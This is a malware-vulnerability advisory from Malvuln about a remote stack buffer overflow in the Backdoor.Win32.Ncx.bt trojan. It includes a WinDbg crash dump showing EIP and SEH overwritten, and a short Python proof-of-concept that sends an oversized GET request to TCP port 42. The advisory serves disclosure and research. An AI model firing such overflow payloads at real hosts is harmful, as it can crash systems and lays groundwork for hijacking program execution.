Backdoor.Win32.Ncx.bt malware suffers from a remote stack buffer overflow vulnerability.
f5bce01787682bf3fb97234b39073682Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ad5c01b3e6d0254adfe0898c6d16f927.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Ncx.bt
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 42, sending a single HTTP GET request with a packet size of 10140 bytes, will trigger the buffer overflow overwriting both EIP and structured exception handler (SEH).
Type: PE32
MD5: ad5c01b3e6d0254adfe0898c6d16f927
Vuln ID: MVID-2021-0026
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/15/2021
Memory Dump:
EAX : 00000000
EBX : 00000000
ECX : 41414141
EDX : 773E9D70 ntdll.773E9D70
EBP : 03301680
ESP : 03301660
ESI : 00000000
EDI : 00000000
EIP : 41414141
This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(1ef8.1d94): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=030b1660 ebp=030b1680 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:003> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for Backdoor.Win32.Ncx.bt.ad5c01b3e6d0254adfe0898c6d16f927.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Ncx.bt.ad5c01b3e6d0254adfe0898c6d16f927.exe
FAULTING_IP:
Backdoor_Win32_Ncx_bt_ad5c01b3e6d0254adfe0898c6d16f927+1555
00401555 88443418 mov byte ptr [esp+esi+18h],al
EXCEPTION_RECORD: 031af9f4 -- (.exr 0x31af9f4)
ExceptionAddress: 00401555 (Backdoor_Win32_Ncx_bt_ad5c01b3e6d0254adfe0898c6d16f927+0x00001555)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 031b0000
Attempt to write to address 031b0000
PROCESS_NAME: Backdoor.Win32.Ncx.bt.ad5c01b3e6d0254adfe0898c6d16f927.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000008
EXCEPTION_PARAMETER2: 41414141
WRITE_ADDRESS: 41414141
FOLLOWUP_IP:
Backdoor_Win32_Ncx_bt_ad5c01b3e6d0254adfe0898c6d16f927+1555
00401555 88443418 mov byte ptr [esp+esi+18h],al
FAILED_INSTRUCTION_ADDRESS:
+1555
41414141 ?? ???
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
IP_ON_HEAP: 02870d50
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.
IP_IN_FREE_BLOCK: 41414141
CONTEXT: 031afa44 -- (.cxr 0x31afa44)
eax=00000041 ebx=76e8e250 ecx=396e055e edx=031afdc4 esi=00000144 edi=02870d50
eip=00401555 esp=031afea4 ebp=73c31e90 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
Backdoor_Win32_Ncx_bt_ad5c01b3e6d0254adfe0898c6d16f927+0x1555:
00401555 88443418 mov byte ptr [esp+esi+18h],al ss:002b:031b0000=??
Resetting default scope
FAULTING_THREAD: ffffffff
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
LAST_CONTROL_TRANSFER: from 02870d50 to 00401555
FRAME_ONE_INVALID: 1
STACK_TEXT:
031afea4 00401555 backdoor_win32_ncx_bt+0x1555
031afea8 02870d50 unknown!unknown+0x0
STACK_COMMAND: .cxr 00000000031AFA44 ; kb ; dds 31afea4 ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: backdoor_win32_ncx_bt+1555
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: Backdoor_Win32_Ncx_bt_ad5c01b3e6d0254adfe0898c6d16f927
IMAGE_NAME: Backdoor.Win32.Ncx.bt.ad5c01b3e6d0254adfe0898c6d16f927.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 34ae8eb9
BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_ncx_bt+1555
FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Ncx.bt.ad5c01b3e6d0254adfe0898c6d16f927.exe!Unknown
Followup: MachineOwner
---------
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=42
def doit():
PACKET="GET /"+"A"*10140
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
s.send(PACKET)
s.close()
print("Backdoor.Win32.Ncx.bt / Remote Stack Buffer Overflow")
print("MD5: ad5c01b3e6d0254adfe0898c6d16f927")
print("By Malvuln")
if __name__=="__main__":
doit()
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